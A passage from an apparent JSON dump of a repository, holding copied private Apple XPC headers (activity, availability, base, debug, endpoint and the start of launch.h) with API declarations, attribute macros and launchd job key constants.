the activity on its next launch by passing\n * XPC_ACTIVITY_STATE_CHECK_IN to xpc_activity_register().\n *\n * @constant XPC_ACTIVITY_STATE_RUN\n * An activity in this state is eligible to run based on its criteria.\n *\n * @constant XPC_ACTIVITY_STATE_DEFER\n * An application may pass this value to xpc_activity_set_state() to indicate\n * that the activity should be deferred (placed back into the WAIT state) until\n * a time when its criteria are met again. Deferring an activity does not reset\n * any of its time-based criteria (in other words, it will remain past due).\n *\n * IMPORTANT:\n * This should be done in response to observing xpc_activity_should_defer().\n * It should not be done unilaterally. If you determine that conditions are bad\n * to do your activity's work for reasons you can't express in a criteria\n * dictionary, you should set the activity's state to XPC_ACTIVITY_STATE_DONE.\n *\n *\n * @constant XPC_ACTIVITY_STATE_CONTINUE\n * An application may pass this value to xpc_activity_set_state() to indicate\n * that the activity will continue its operation beyond the return of its\n * handler block. This can be used to extend an activity to include asynchronous\n * operations. The activity's handler block will not be invoked again until the\n * state has been updated to either XPC_ACTIVITY_STATE_DEFER or, in the case\n * of repeating activity, XPC_ACTIVITY_STATE_DONE.\n *\n * @constant XPC_ACTIVITY_STATE_DONE\n * An application may pass this value to xpc_activity_set_state() to indicate\n * that the activity has completed. For non-repeating activity, the resources\n * associated with the activity will be automatically released upon return from\n * the handler block. For repeating activity, timers present in the activity's\n * criteria will be reset.\n */\nenum {\n\tXPC_ACTIVITY_STATE_CHECK_IN,\n\tXPC_ACTIVITY_STATE_WAIT,\n\tXPC_ACTIVITY_STATE_RUN,\n\tXPC_ACTIVITY_STATE_DEFER,\n\tXPC_ACTIVITY_STATE_CONTINUE,\n\tXPC_ACTIVITY_STATE_DONE,\n};\ntypedef long xpc_activity_state_t;\n\n/*!\n * @function xpc_activity_get_state\n *\n * @abstract\n * Returns the current state of an activity.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nxpc_activity_state_t\nxpc_activity_get_state(xpc_activity_t activity);\n\n/*!\n * @function xpc_activity_set_state\n *\n * @abstract\n * Updates the current state of an activity.\n *\n * @return\n * Returns true if the state was successfully updated; otherwise, returns\n * false if the requested state transition is not valid.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nbool\nxpc_activity_set_state(xpc_activity_t activity, xpc_activity_state_t state);\n\n/*!\n * @function xpc_activity_should_defer\n *\n * @abstract\n * Test whether an activity should be deferred.\n *\n * @discussion\n * This function may be used to test whether the criteria of a long-running\n * activity are still satisfied. If not, the system indicates that the\n * application should defer the activity. The application may acknowledge the\n * deferral by calling xpc_activity_set_state() with XPC_ACTIVITY_STATE_DEFER.\n * Once deferred, the system will place the activity back into the WAIT state\n * and re-invoke the handler block at the earliest opportunity when the criteria\n * are once again satisfied.\n *\n * @return\n * Returns true if the activity should be deferred.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nbool\nxpc_activity_should_defer(xpc_activity_t activity);\n\n/*!\n * @function xpc_activity_unregister\n *\n * @abstract\n * Unregisters an activity found by its identifier.\n *\n * @discussion\n * A dynamically registered activity will be deleted in response to this call.\n * Statically registered activity (from a launchd property list) will be\n * deleted until the job is next loaded (e.g. at next boot).\n *\n * Unregistering an activity has no effect on any outstanding xpc_activity_t\n * objects or any currently executing xpc_activity_handler_t blocks; however,\n * no new handler block invocations will be made after it is unregistered.\n *\n * @param identifier\n * The identifier of the activity to unregister.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0)\nXPC_EXPORT XPC_NONNULL1\nvoid\nxpc_activity_unregister(const char *identifier);\n\n__END_DECLS\nXPC_ASSUME_NONNULL_END\n\n#endif // __BLOCKS__\n\n#endif // __XPC_ACTIVITY_H__ \n\n"
  },
  {
    "path": "usprebooter/Private Headers I stole from the macOS SDK/xpc/availability.h",
    "content": "#ifndef __XPC_AVAILABILITY_H__\n#define __XPC_AVAILABILITY_H__\n\n#include <Availability.h>\n#include <sys/cdefs.h>\n\n__BEGIN_DECLS\n\n// Certain parts of the project use all the project's headers but have to build\n// against newer OSX SDKs than ebuild uses -- liblaunch_host being the example.\n// So we need to define these.\n#ifndef __MAC_10_16\n#define __MAC_10_16 101600\n#endif // __MAC_10_16\n\n#ifndef __MAC_10_15\n#define __MAC_10_15 101500\n#define __AVAILABILITY_INTERNAL__MAC_10_15 \\\n__attribute__((availability(macosx, introduced=10.15)))\n#endif // __MAC_10_15\n\n#ifndef __MAC_10_14\n#define __MAC_10_14 101400\n#define __AVAILABILITY_INTERNAL__MAC_10_14 \\\n__attribute__((availability(macosx, introduced=10.14)))\n#endif // __MAC_10_14\n\n#ifndef __MAC_10_13\n#define __MAC_10_13 101300\n#define __AVAILABILITY_INTERNAL__MAC_10_13 \\\n\t__attribute__((availability(macosx, introduced=10.13)))\n#endif // __MAC_10_13\n\n#ifndef __MAC_10_12\n#define __MAC_10_12 101200\n#define __AVAILABILITY_INTERNAL__MAC_10_12 \\\n\t__attribute__((availability(macosx, introduced=10.12)))\n#endif // __MAC_10_12\n\n#ifndef __MAC_10_11\n#define __MAC_10_11 101100\n#define __AVAILABILITY_INTERNAL__MAC_10_11 \\\n\t__attribute__((availability(macosx, introduced=10.11)))\n#endif // __MAC_10_11\n\n#ifndef __MAC_12_0\n#define __MAC_12_0 120000\n#define __AVAILABILITY_INTERNAL__MAC_12_0 \\\n\t__attribute__((availability(macosx, introduced=12.0)))\n#endif // __MAC_12_0\n\n#ifndef __MAC_13_3\n#define __MAC_13_3 130300\n#endif // __MAC_13_3\n\n#ifndef __AVAILABILITY_INTERNAL__MAC_10_2_DEP__MAC_10_11\n#define __AVAILABILITY_INTERNAL__MAC_10_2_DEP__MAC_10_11\n#endif // __AVAILABILITY_INTERNAL__MAC_10_2_DEP__MAC_10_11\n\n#ifndef __AVAILABILITY_INTERNAL__MAC_10_3_DEP__MAC_10_11\n#define __AVAILABILITY_INTERNAL__MAC_10_3_DEP__MAC_10_11\n#endif // __AVAILABILITY_INTERNAL__MAC_10_3_DEP__MAC_10_11\n\n#ifndef __AVAILABILITY_INTERNAL__MAC_10_4_DEP__MAC_10_11\n#define __AVAILABILITY_INTERNAL__MAC_10_4_DEP__MAC_10_11\n#endif // __AVAILABILITY_INTERNAL__MAC_10_4_DEP__MAC_10_11\n\n#ifndef __AVAILABILITY_INTERNAL__MAC_10_5_DEP__MAC_10_11\n#define __AVAILABILITY_INTERNAL__MAC_10_5_DEP__MAC_10_11\n#endif // __AVAILABILITY_INTERNAL__MAC_10_5_DEP__MAC_10_11\n\n#ifndef __AVAILABILITY_INTERNAL__MAC_10_6_DEP__MAC_10_11\n#define __AVAILABILITY_INTERNAL__MAC_10_6_DEP__MAC_10_11\n#endif // __AVAILABILITY_INTERNAL__MAC_10_6_DEP__MAC_10_11\n\n#ifndef __AVAILABILITY_INTERNAL__MAC_10_7_DEP__MAC_10_11\n#define __AVAILABILITY_INTERNAL__MAC_10_7_DEP__MAC_10_11\n#endif // __AVAILABILITY_INTERNAL__MAC_10_7_DEP__MAC_10_11\n\n#ifndef __AVAILABILITY_INTERNAL__MAC_10_8_DEP__MAC_10_11\n#define __AVAILABILITY_INTERNAL__MAC_10_8_DEP__MAC_10_11\n#endif // __AVAILABILITY_INTERNAL__MAC_10_8_DEP__MAC_10_11\n\n#ifndef __AVAILABILITY_INTERNAL__MAC_10_9_DEP__MAC_10_11\n#define __AVAILABILITY_INTERNAL__MAC_10_9_DEP__MAC_10_11\n#endif // __AVAILABILITY_INTERNAL__MAC_10_9_DEP__MAC_10_11\n\n#ifndef __AVAILABILITY_INTERNAL__MAC_10_10_DEP__MAC_10_11\n#define __AVAILABILITY_INTERNAL__MAC_10_10_DEP__MAC_10_11\n#endif // __AVAILABILITY_INTERNAL__MAC_10_10_DEP__MAC_10_11\n\n#ifndef __AVAILABILITY_INTERNAL__MAC_10_11_DEP__MAC_10_11\n#define __AVAILABILITY_INTERNAL__MAC_10_11_DEP__MAC_10_11\n#endif // __AVAILABILITY_INTERNAL__MAC_10_11_DEP__MAC_10_11\n\n#ifndef __AVAILABILITY_INTERNAL__MAC_10_6_DEP__MAC_10_13\n#define __AVAILABILITY_INTERNAL__MAC_10_6_DEP__MAC_10_13\n#endif // __AVAILABILITY_INTERNAL__MAC_10_6_DEP__MAC_10_13\n\n#if __has_include(<simulator_host.h>)\n__END_DECLS\n#include <simulator_host.h>\n__BEGIN_DECLS\n#else // __has_include(<simulator_host.h>)\n#ifndef IPHONE_SIMULATOR_HOST_MIN_VERSION_REQUIRED\n#define IPHONE_SIMULATOR_HOST_MIN_VERSION_REQUIRED 999999\n#endif // IPHONE_SIMULATOR_HOST_MIN_VERSION_REQUIRED\n#endif // __has_include(<simulator_host.h>)\n\n#ifndef __WATCHOS_UNAVAILABLE\n#define __WATCHOS_UNAVAILABLE\n#endif\n\n#ifndef __TVOS_UNAVAILABLE\n#define __TVOS_UNAVAILABLE\n#endif\n\n// simulator host-side bits build against SDKs not having __*_AVAILABLE() yet\n#ifndef __OSX_AVAILABLE\n#define __OSX_AVAILABLE(...)\n#endif\n\n#ifndef __IOS_AVAILABLE\n#define __IOS_AVAILABLE(...)\n#endif\n\n#ifndef __TVOS_AVAILABLE\n#define __TVOS_AVAILABLE(...)\n#endif\n\n#ifndef __WATCHOS_AVAILABLE\n#define __WATCHOS_AVAILABLE(...)\n#endif\n\n#ifndef __API_AVAILABLE\n#define __API_AVAILABLE(...)\n#endif\n\n__END_DECLS\n\n#endif // __XPC_AVAILABILITY_H__\n"
  },
  {
    "path": "usprebooter/Private Headers I stole from the macOS SDK/xpc/base.h",
    "content": "// Copyright (c) 2009-2011 Apple Inc. All rights reserved.\n\n#ifndef __XPC_BASE_H__\n#define __XPC_BASE_H__\n\n#include <sys/cdefs.h>\n\n#if !defined(__has_include)\n#define __has_include(x) 0\n#endif // !defined(__has_include)\n\n#if !defined(__has_attribute)\n#define __has_attribute(x) 0\n#endif // !defined(__has_attribute)\n\n#if !defined(__has_feature)\n#define __has_feature(x) 0\n#endif // !defined(__has_feature)\n\n#if !defined(__has_extension)\n#define __has_extension(x) 0\n#endif // !defined(__has_extension)\n\n#if __has_include(<xpc/availability.h>)\n#include \"availability.h\"\n#else // __has_include(<xpc/availability.h>)\n#include <Availability.h>\n#endif // __has_include(<xpc/availability.h>)\n\n#include <os/availability.h>\n\n#ifndef __XPC_INDIRECT__\n#error \"Please #include <xpc/xpc.h> instead of this file directly.\"\n#endif // __XPC_INDIRECT__ \n\n__BEGIN_DECLS\n\n#pragma mark Attribute Shims\n#ifdef __GNUC__\n#define XPC_CONSTRUCTOR __attribute__((constructor))\n#define XPC_NORETURN __attribute__((__noreturn__))\n#define XPC_NOTHROW __attribute__((__nothrow__))\n#define XPC_NONNULL1 __attribute__((__nonnull__(1)))\n#define XPC_NONNULL2 __attribute__((__nonnull__(2)))\n#define XPC_NONNULL3 __attribute__((__nonnull__(3)))\n#define XPC_NONNULL4 __attribute__((__nonnull__(4)))\n#define XPC_NONNULL5 __attribute__((__nonnull__(5)))\n#define XPC_NONNULL6 __attribute__((__nonnull__(6)))\n#define XPC_NONNULL7 __attribute__((__nonnull__(7)))\n#define XPC_NONNULL8 __attribute__((__nonnull__(8)))\n#define XPC_NONNULL9 __attribute__((__nonnull__(9)))\n#define XPC_NONNULL10 __attribute__((__nonnull__(10)))\n#define XPC_NONNULL11 __attribute__((__nonnull__(11)))\n#define XPC_NONNULL_ALL __attribute__((__nonnull__))\n#define XPC_SENTINEL __attribute__((__sentinel__))\n#define XPC_PURE __attribute__((__pure__))\n#define XPC_WARN_RESULT __attribute__((__warn_unused_result__))\n#define XPC_MALLOC __attribute__((__malloc__))\n#define XPC_UNUSED __attribute__((__unused__))\n#define XPC_USED __attribute__((__used__))\n#define XPC_PACKED __attribute__((__packed__))\n#define XPC_PRINTF(m, n) __attribute__((format(printf, m, n)))\n#define XPC_INLINE static __inline__ __attribute__((__always_inline__))\n#define XPC_NOINLINE __attribute__((noinline))\n#define XPC_NOIMPL __attribute__((unavailable))\n\n#if __has_attribute(noescape)\n#define XPC_NOESCAPE __attribute__((__noescape__))\n#else\n#define XPC_NOESCAPE\n#endif\n\n#if __has_extension(attribute_unavailable_with_message)\n#define XPC_UNAVAILABLE(m) __attribute__((unavailable(m)))\n#else // __has_extension(attribute_unavailable_with_message)\n#define XPC_UNAVAILABLE(m) XPC_NOIMPL\n#endif // __has_extension(attribute_unavailable_with_message)\n\n#define XPC_EXPORT extern __attribute__((visibility(\"default\")))\n#define XPC_NOEXPORT __attribute__((visibility(\"hidden\")))\n#define XPC_WEAKIMPORT extern __attribute__((weak_import))\n#define XPC_DEBUGGER_EXCL XPC_NOEXPORT XPC_USED\n#define XPC_TRANSPARENT_UNION __attribute__((transparent_union))\n#if __clang__\n#define XPC_DEPRECATED(m) __attribute__((deprecated(m)))\n#else // __clang__\n#define XPC_DEPRECATED(m) __attribute__((deprecated))\n#endif // __clang\n#ifndef XPC_TESTEXPORT\n#define XPC_TESTEXPORT XPC_NOEXPORT\n#endif // XPC_TESTEXPORT\n\n#if defined(__XPC_TEST__) && __XPC_TEST__\n#define XPC_TESTSTATIC\n#define XPC_TESTEXTERN extern\n#else // defined(__XPC_TEST__) && __XPC_TEST__\n#define XPC_TESTSTATIC static\n#endif // defined(__XPC_TEST__) && __XPC_TEST__\n\n#if __has_feature(objc_arc)\n#define XPC_GIVES_REFERENCE __strong\n#define XPC_UNRETAINED __unsafe_unretained\n#define XPC_BRIDGE(xo) ((__bridge void *)(xo))\n#define XPC_BRIDGEREF_BEGIN(xo) ((__bridge_retained void *)(xo))\n#define XPC_BRIDGEREF_BEGIN_WITH_REF(xo) ((__bridge void *)(xo))\n#define XPC_BRIDGEREF_MIDDLE(xo) ((__bridge id)(xo))\n#define XPC_BRIDGEREF_END(xo) ((__bridge_transfer id)(xo))\n#else // __has_feature(objc_arc)\n#define XPC_GIVES_REFERENCE\n#define XPC_UNRETAINED\n#define XPC_BRIDGE(xo) (xo)\n#define XPC_BRIDGEREF_BEGIN(xo) (xo)\n#define XPC_BRIDGEREF_BEGIN_WITH_REF(xo) (xo)\n#define XPC_BRIDGEREF_MIDDLE(xo) (xo)\n#define XPC_BRIDGEREF_END(xo) (xo)\n#endif // __has_feature(objc_arc)\n\n#define _xpc_unreachable() __builtin_unreachable()\n#else // __GNUC__ \n/*! @parseOnly */\n#define XPC_CONSTRUCTOR\n/*! @parseOnly */\n#define XPC_NORETURN\n/*! @parseOnly */\n#define XPC_NOTHROW\n/*! @parseOnly */\n#define XPC_NONNULL1\n/*! @parseOnly */\n#define XPC_NONNULL2\n/*! @parseOnly */\n#define XPC_NONNULL3\n/*! @parseOnly */\n#define XPC_NONNULL4\n/*! @parseOnly */\n#define XPC_NONNULL5\n/*! @parseOnly */\n#define XPC_NONNULL6\n/*! @parseOnly */\n#define XPC_NONNULL7\n/*! @parseOnly */\n#define XPC_NONNULL8\n/*! @parseOnly */\n#define XPC_NONNULL9\n/*! @parseOnly */\n#define XPC_NONNULL10\n/*! @parseOnly */\n#define XPC_NONNULL11\n/*! @parseOnly */\n#define XPC_NONNULL(n)\n/*! @parseOnly */\n#define XPC_NONNULL_ALL\n/*! @parseOnly */\n#define XPC_SENTINEL\n/*! @parseOnly */\n#define XPC_PURE\n/*! @parseOnly */\n#define XPC_WARN_RESULT\n/*! @parseOnly */\n#define XPC_MALLOC\n/*! @parseOnly */\n#define XPC_UNUSED\n/*! @parseOnly */\n#define XPC_PACKED\n/*! @parseOnly */\n#define XPC_PRINTF(m, n)\n/*! @parseOnly */\n#define XPC_INLINE static inline\n/*! @parseOnly */\n#define XPC_NOINLINE\n/*! @parseOnly */\n#define XPC_NOIMPL\n/*! @parseOnly */\n#define XPC_EXPORT extern\n/*! @parseOnly */\n#define XPC_WEAKIMPORT\n/*! @parseOnly */\n#define XPC_DEPRECATED\n/*! @parseOnly */\n#define XPC_UNAVAILABLE(m)\n/*! @parseOnly */\n#define XPC_NOESCAPE\n#endif // __GNUC__\n\n#if __has_feature(assume_nonnull)\n#define XPC_ASSUME_NONNULL_BEGIN _Pragma(\"clang assume_nonnull begin\")\n#define XPC_ASSUME_NONNULL_END   _Pragma(\"clang assume_nonnull end\")\n#else\n#define XPC_ASSUME_NONNULL_BEGIN\n#define XPC_ASSUME_NONNULL_END\n#endif\n\n#if __has_feature(nullability_on_arrays)\n#define XPC_NONNULL_ARRAY _Nonnull\n#else\n#define XPC_NONNULL_ARRAY\n#endif\n\n#if defined(__has_ptrcheck) && __has_ptrcheck\n#define XPC_PTR_ASSUMES_SINGLE __ptrcheck_abi_assume_single()\n#define XPC_SINGLE __single\n#define XPC_UNSAFE_INDEXABLE __unsafe_indexable\n#define XPC_CSTRING XPC_UNSAFE_INDEXABLE\n#define XPC_SIZEDBY(N) __sized_by(N)\n#define XPC_COUNTEDBY(N) __counted_by(N)\n#define XPC_UNSAFE_FORGE_SIZED_BY(_type, _ptr, _size) \\\n\t\t__unsafe_forge_bidi_indexable(_type, _ptr, _size)\n#define XPC_UNSAFE_FORGE_SINGLE(_type, _ptr) \\\n\t\t__unsafe_forge_single(_type, _ptr)\n#else // defined(__has_ptrcheck) ** __has_ptrcheck\n#define XPC_PTR_ASSUMES_SINGLE\n#define XPC_SINGLE\n#define XPC_UNSAFE_INDEXABLE\n#define XPC_CSTRING\n#define XPC_SIZEDBY(N)\n#define XPC_COUNTEDBY(N)\n#define XPC_UNSAFE_FORGE_SIZED_BY(_type, _ptr, _size) ((_type)(_ptr))\n#define XPC_UNSAFE_FORGE_SINGLE(_type, _ptr) ((_type)(_ptr))\n#endif // defined(__has_ptrcheck) ** __has_ptrcheck\n\n#ifdef OS_CLOSED_OPTIONS\n#define XPC_FLAGS_ENUM(_name, _type, ...) \\\n\t\tOS_CLOSED_OPTIONS(_name, _type, __VA_ARGS__)\n#else // OS_CLOSED_ENUM\n#define XPC_FLAGS_ENUM(_name, _type, ...) \\\n\t\tOS_ENUM(_name, _type, __VA_ARGS__)\n#endif // OS_CLOSED_ENUM\n\n#ifdef OS_CLOSED_ENUM\n#define XPC_ENUM(_name, _type, ...) \\\n\t\tOS_CLOSED_ENUM(_name, _type, __VA_ARGS__)\n#else // OS_CLOSED_ENUM\n#define XPC_ENUM(_name, _type, ...) \\\n\t\tOS_ENUM(_name, _type, __VA_ARGS__)\n#endif // OS_CLOSED_ENUM\n\n#if __has_attribute(swift_name)\n# define XPC_SWIFT_NAME(_name) __attribute__((swift_name(_name)))\n#else\n# define XPC_SWIFT_NAME(_name) // __has_attribute(swift_name)\n#endif\n\n#define XPC_SWIFT_UNAVAILABLE(msg) __swift_unavailable(msg)\n#define XPC_SWIFT_NOEXPORT XPC_SWIFT_UNAVAILABLE(\"Unavailable in Swift from the XPC C Module\")\n\n__END_DECLS\n\n#endif // __XPC_BASE_H__ \n"
  },
  {
    "path": "usprebooter/Private Headers I stole from the macOS SDK/xpc/debug.h",
    "content": "#ifndef __XPC_DEBUG_H__\n#define __XPC_DEBUG_H__\n\n__BEGIN_DECLS\n\n/*!\n * @function xpc_debugger_api_misuse_info\n * Returns a pointer to a string describing the reason XPC aborted the calling\n * process. On OS X, this will be the same string present in the \"Application\n * Specific Information\" section of the crash report.\n * \n * @result\n * A pointer to the human-readable string describing the reason the caller was\n * aborted. If XPC was not responsible for the program's termination, NULL will\n * be returned.\n *\n * @discussion\n * This function is only callable from within a debugger. It is not meant to be\n * called by the program directly.\n */\nXPC_DEBUGGER_EXCL\nconst char *\nxpc_debugger_api_misuse_info(void);\n\n__END_DECLS\n\n#endif // __XPC_DEBUG_H__\n"
  },
  {
    "path": "usprebooter/Private Headers I stole from the macOS SDK/xpc/endpoint.h",
    "content": "#ifndef __XPC_ENDPOINT_H__\n#define __XPC_ENDPOINT_H__\n\n__BEGIN_DECLS\n\n/*!\n * @function xpc_endpoint_create\n * Creates a new endpoint from a connection that is suitable for embedding into\n * messages.\n * \n * @param connection\n * Only connections obtained through calls to xpc_connection_create*() may be\n * given to this API. Passing any other type of connection is not supported and\n * will result in undefined behavior.\n *\n * @result\n * A new endpoint object. \n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL1\nxpc_endpoint_t _Nonnull\nxpc_endpoint_create(xpc_connection_t _Nonnull connection);\n\n__END_DECLS\n\n#endif // __XPC_ENDPOINT_H__\n"
  },
  {
    "path": "usprebooter/Private Headers I stole from the macOS SDK/xpc/launch.h",
    "content": "#ifndef __XPC_LAUNCH_H__\n#define __XPC_LAUNCH_H__\n\n/*!\n * @header\n * These interfaces were only ever documented for the purpose of allowing a\n * launchd job to obtain file descriptors associated with the sockets it\n * advertised in its launchd.plist(5). That functionality is now available in a\n * much more straightforward fashion through the {@link launch_activate_socket}\n * API.\n *\n * There are currently no replacements for other uses of the {@link launch_msg}\n * API, including submitting, removing, starting, stopping and listing jobs.\n */\n\n#include <os/base.h>\n#include <Availability.h>\n\n#include <mach/mach.h>\n#include <stddef.h>\n#include <stdbool.h>\n#include <sys/cdefs.h>\n\n#if __has_feature(assume_nonnull)\n_Pragma(\"clang assume_nonnull begin\")\n#endif\n__BEGIN_DECLS\n\n#define LAUNCH_KEY_SUBMITJOB \"SubmitJob\"\n#define LAUNCH_KEY_REMOVEJOB \"RemoveJob\"\n#define LAUNCH_KEY_STARTJOB \"StartJob\"\n#define LAUNCH_KEY_STOPJOB \"StopJob\"\n#define LAUNCH_KEY_GETJOB \"GetJob\"\n#define LAUNCH_KEY_GETJOBS \"GetJobs\"\n#define LAUNCH_KEY_CHECKIN \"CheckIn\"\n\n#define LAUNCH_JOBKEY_LABEL \"Label\"\n#define LAUNCH_JOBKEY_DISABLED \"Disabled\"\n#define LAUNCH_JOBKEY_USERNAME \"UserName\"\n#define LAUNCH_JOBKEY_GROUPNAME \"GroupName\"\n#define LAUNCH_JOBKEY_TIMEOUT \"TimeOut\"\n#define LAUNCH_JOBKEY_EXITTIMEOUT \"ExitTimeOut\"\n#define LAUNCH_JOBKEY_INITGROUPS \"InitGroups\"\n#define LAUNCH_JOBKEY_SOCKETS \"Sockets\"\n#define LAUNCH_JOBKEY_MACHSERVICES \"MachServices\"\n#define LAUNCH_JOBKEY_MACHSERVICELOOKUPPOLICIES \"MachServiceLookupPolicies\"\n#define LAUNCH_JOBKEY_INETDCOMPATIBILITY \"inetdCompatibility\"\n#define LAUNCH_JOBKEY_ENABLEGLOBBING \"EnableGlobbing\"\n#define LAUNCH_JOBKEY_PROGRAMARGUMENTS \"ProgramArguments\"\n#define LAUNCH_JOBKEY_PROGRAM \"Program\"\n#define LAUNCH_JOBKEY_ONDEMAND \"OnDemand\"\n#define LAUNCH_JOBKEY_KEEPALIVE \"KeepAlive\"\n#define LAUNCH_JOBKEY_LIMITLOADTOHOSTS \"LimitLoadToHosts\"\n#define LAUNCH_JOBKEY_LIMITLOADFROMHOSTS \"LimitLoadFromHosts\"\n#define LAUNCH_JOBKEY_LIMITLOADTOSESSIONTYPE \"LimitLoadToSessionType\"\n#define LAUNCH_JOBKEY_LIMITLOADTOHARDWARE \"LimitLoadToHardware\"\n#define LAUNCH_JOBKEY_LIMITLOADFROMHARDWARE \"LimitLoadFromHardware\"\n#define LAUNCH_JOBKEY_RUNATLOAD \"RunAtLoad\"\n#define LAUNCH_JOBKEY_ROOTDIRECTORY \"RootDirectory\"\n#define LAUNCH_JOBKEY_WORKINGDIRECTORY \"WorkingDirectory\"\n#define LAUNCH_JOBKEY_ENVIRONMENTVARIABLES \"EnvironmentVariables\"\n#define LAUNCH_JOBKEY_USERENVIRONMENTVARIABLES \"UserEnvironmentVariables\"\n#define LAUNCH_JOBKEY_UMASK \"Umask\"\n#define LAUNCH_JOBKEY_NICE \"Nice\"\n#define LAUNCH_JOBKEY_HOPEFULLYEXITSFIRST \"HopefullyExitsFirst\"\n#define LAUNCH_JOBKEY_HOPEFULLYEXITSLAST \"HopefullyExitsLast\"\n#define LAUNCH_JOBKEY_LOWPRIORITYIO \"LowPriorityIO\"\n#define LAUNCH_JOBKEY_LOWPRIORITYBACKGROUNDIO \"LowPriorityBackgroundIO\"\n#define LAUNCH_JOBKEY_MATERIALIZEDATALESSFILES \"MaterializeDatalessFiles\"\n#define LAUNCH_JOBKEY_SESSIONCREATE \"SessionCreate\"\n#define LAUNCH_JOBKEY_STARTONMOUNT \"StartOnMount\"\n#define LAUNCH_JOBKEY_SOFTRESOURCELIMITS \"SoftResourceLimits\"\n#define LAUNCH_JOBKEY_HARDRESOURCELIMITS \"HardResourceLimits\"\n#define LAUNCH_JOBKEY_STANDARDINPATH \"StandardInPath\"\n#define LAUNCH_JOBKEY_STANDARDOUTPATH \"StandardOutPath\"\n#define LAUNCH_JOBKEY_STANDARDERRORPATH \"StandardErrorPath\"\n#define LAUNCH_JOBKEY_DEBUG \"Debug\"\n#define LAUNCH_JOBKEY_WAITFORDEBUGGER \"WaitForDebugger\"\n#define LAUNCH_JOBKEY_QUEUEDIRECTORIES \"QueueDirectories\"\n#define LAUNCH_JOBKEY_WATCHPATHS \"WatchPaths\"\n#define LAUNCH_JOBKEY_STARTINTERVAL \"StartInterval\"\n#define LAUNCH_JOBKEY_STARTCALENDARINTERVAL \"StartCalendarInterval\"\n#define LAUNCH_JOBKEY_BONJOURFDS \"BonjourFDs\"\n#define LAUNCH_JOBKEY_LASTEXITSTATUS \"LastExitStatus\"\n#define LAUNCH_JOBKEY_PID \"PID\"\n#define LAUNCH_JOBKEY_THROTTLEINTERVAL \"ThrottleInterval\"\n#define LAUNCH_JOBKEY_LAUNCHONLYONCE \"LaunchOnlyOnce\"\n#define LAUNCH_JOBKEY_ABANDONPROCESSGROUP \"AbandonProcessGroup\"\n#define LAUNCH_JOBKEY_IGNOREPROCESSGROUPATSHUTDOWN \\\n\t\"IgnoreProcessGroupAtShutdown\"\n#define LAUNCH_JOBKEY_LEGACYTIMERS \"LegacyTimers\"\n#define LAUNCH_JOBKEY_ENABLEPRESSUREDEXIT \"EnablePressuredExit\"\n#define LAUNCH_JOBKEY_ENABLETRANSACTIONS \"EnableTransactions\"\n#define LAUNCH_JOBKEY_DRAINMESSAGESONFAILEDINIT \"DrainMessagesOnFailedInit\"\n#define LAUNCH_JOBKEY_POLICIES \"Policies\"\n#define LAUNCH_JOBKEY_BUNDLEPROGRAM \"BundleProgram\"\n#define LAUNCH_JOBKEY_ASSOCIATEDBUNDLEIDENTIFIERS \"AssociatedBundleIdentifiers\"\n#define LAUNCH_JOBKEY_SPAWNCONSTRAINT \"SpawnConstraint\"\n\n#define LAUNCH_JOBKEY_PUBLISHESEVENTS \"PublishesEvents\"\n#define LAUNCH_KEY_PUBLISHESEVENTS_DOMAININTERNAL \"DomainInternal\"\n\n#define LAUNCH_JOBPOLICY_DENYCREATINGOTHERJOBS \"DenyCreatingOtherJobs\"\n\n#define LAUNCH_JOBINETDCOMPATIBILITY_WAIT \"Wait\"\n#define LAUNCH_JOBINETDCOMPATIBILITY_INSTANCES \"Instances\"\n\n#define LAUNCH_JOBKEY_MACH_RESETATCLOSE \"ResetAtClose\"\n#define LAUNCH_JOBKEY_MACH_HIDEUNTILCHECKIN \"HideUntilCheckIn\"\n\n#define LAUNCH_JOBKEY_KEEPALIVE_SUCCESSFULEXIT \"SuccessfulExit\"\n#define LAUNCH_JOBKEY_KEEPALIVE_NETWORKSTATE \"NetworkState\"\n#define LAUNCH_JOBKEY_KEEPALIVE_PATHSTATE \"PathState\"\n#define LAUNCH_JOBKEY_KEEPALIVE_OTHERJOBACTIVE \"OtherJobActive\"\n#define LAUNCH_JOBKEY_KEEPALIVE_OTHERJOBENABLED \"OtherJobEnabled\"\n#define LAUNCH_JOBKEY_KEEPALIVE_AFTERINITIALDEMAND\t\"AfterInitialDemand\"\n#define LAUNCH_JOBKEY_KEEPALIVE_CRASHED \"Crashed\"\n\n#define LAUNCH_JOBKEY_LAUNCHEVENTS \"LaunchEvents\"\n\n#define LAUNCH_JOBKEY_CAL_MINUTE \"Minute\"\n#define LAUNCH_JOBKEY_CAL_HOUR \"Hour\"\n#define LAUNCH_JOBKEY_CAL_DAY \"Day\"\n#define LAUNCH_JOBKEY_CAL_WEEKDAY \"Weekday\"\n#define LAUNCH_JOBKEY_CAL_MONTH \"Month\"\n\n#define LAUNCH_JOBKEY_RESOURCELIMIT_CORE \"Core\"\n#define LAUNCH_JOBKEY_RESOURCELIMIT_CPU \"CPU\"\n#define LAUNCH_JOBKEY_RESOURCELIMIT_DATA \"Data\"\n#define LAUNCH_JOBKEY_RESOURCELIMIT_FSIZE \"FileSize\"\n#define LAUNCH_JOBKEY_RESOURCELIMIT_MEMLOCK \"MemoryLock\"\n#define LAUNCH_JOBKEY_RESOURCELIMIT_NOFILE \"NumberOfFiles\"\n#define LAUNCH_JOBKEY_RESOURCELIMIT_NPROC \"NumberOfProcesses\"\n#define LAUNCH_JOBKEY_RESOURCELIMIT_RSS \"ResidentSetSize\"\n#define LAUNCH_JOBKEY_RESOURCELIMIT_STACK \"Stack\"\n\n#define LAUNCH_JOBKEY_DISABLED_MACHINETYPE \"MachineType\"\n#define LAUNCH_JOBKEY_DISABLED_MODELNAME \"ModelName\"\n\n#define LAUNCH_JOBKEY_DATASTORES \"Datastores\"\n#define LAUNCH_JOBKEY_DATASTORES_SIZELIMIT \"SizeLimit\"\n\n#define LAUNCH_JOBSOCKETKEY_TYPE \"SockType\"\n#define 